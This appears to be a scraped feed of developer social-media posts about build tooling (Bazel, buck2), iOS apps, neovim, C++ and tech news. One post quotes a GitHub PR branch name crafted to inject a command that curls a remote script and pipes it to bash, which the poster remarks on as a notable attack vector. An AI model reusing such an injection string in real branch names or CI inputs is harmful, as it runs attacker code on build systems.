Are there any Linux friendly laptops with a trackpad anywhere close to MacBook quality?
Are there any Linux friendly laptops with a trackpad anywhere close to MacBook quality?
ποΈ New Beyond the Noise ep! @smileykeith.bsky.social (βBazel Keith"), talks Bazel, iOS tooling, and his journey from CocoaPods β‘οΈ Lyft β‘οΈ Modular.
Catch war stories of compiler bugs, dealing w/large Swift codebases, plus, why Apple/Google donβt solve many DX problems π
bitdrift.io/podcast/beyo...
This is horrible. Be careful what you type in to text boxes on the internet! www.404media.co/meta-invents...
Poolsuite FM just got a redesign and it continues to be the most fun iOS app design out there apps.apple.com/us/app/pools...
"The CIA Secretly Ran a Star Wars Fan Site" www.404media.co/the-cia-secr...
github.com/dtolnay/buck...
Build #rust via buck2 instead of x.py, very cool project by @dtolnay.bsky.social
App Store Connect submission screen for Delta
External purchase scare screen for Delta: You're about to go to an external website. Apple is not responsible for the privacy or security of purchases made on the web. Any accounts or purchases made outside of this app will be managed by the developer "Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.
New Patreon donation screen in Delta with button to directly donate to our Patreon
App Store Guidelines have been officially updated, so I just submitted a new Delta update without all the external payment restrictions!
Goodbye scare screen π
I wrote up a post on how to use `bazel query` to find unused targets www.smileykeith.com/2025/03/24/u...
The blink is so delightful
Awesome! Lmk how it goes if you do test with zstd too. I made a note to test it next week
Yea great point, I really should. I tried zstd in my testing but ended up not going with it just because the llvm releases dynamically link it and I didn't want to update the docker image I was using to include that π
The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked
Very satisfying
I wrote up a quick post about how compressed debug info with C++ saved a ton of bandwidth w/ bazel's remote cache www.smileykeith.com/2025/02/14/c...
1Password has gone from being one of my favorite Mac apps to receiving marketing emails informing me they are the βOfficial Cybersecurity Partner of Oracle Red Bull Racingβ
We open sourced Xcodeβs build system github.com/swiftlang/sw...
If you wanted no leaks you should have gone into Settings -> Security -> Configure privacy & security -> Privacy options -> Other -> Configure -> Media interface and clicked βDisallow.β
The Leak setting is on by default but we understand your privacy is important so weβve made it easy to opt out
If you need some joy in your life, I highly recommend Any Austin on YouTube www.youtube.com/watch?v=gGDy...
Rust Software Engineering internship (3 months). We can bring you to Tokyo, Japan from overseas. Can start from June or from August.
Code written with box characters used on old old software to make fake UIs
Youβre still arguing about tabs vs. spaces? May I presentβ¦
Really fun coding font bracket: daringfireball.net/linked/2024/...
It's wild that I can leave my 3d printer alone for 24 hours without checking on it but I can't print 1 photo with my photo printer without it fucking up
Finally someone figured out what sketchy thing the Honey browser extension is doing www.youtube.com/watch?v=vc4y...
If you have this installed, uninstall it ASAP.
C++ standard tooling papers have been withdrawn:
* ISO politicking over licensing
* "WG21 prioritized profiles above the tooling ecosystem work."
www.reddit.com/r/cpp/commen...
#neovim Development News
The 0.11 version will have a more straightforward way to set up LSP servers:
- `vim.lsp.config` to configure.
- `vim.lsp.enable` to set up automated start.
- Special 'lsp/' directory for passive config discovery (similar to 'ftplugin/')
PR:
- github.com/neovim/neovi...
"rules" that terminal programs follow jvns.ca/blog/2024/11...
Unboxing an App Store Award. #ShotWithKino
www.youtube.com/shorts/lF-fl...
Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
absolutely incredible attack vector
I finally upgraded my work Mac to Sequoia and now after ~1 minute I can't type in tmux. What's the state of downgrading these days? π¬
"The two factions of C++" is a great read: herecomesthemoon.net/2024/11/two-...
www.theguardian.com/lifeandstyle...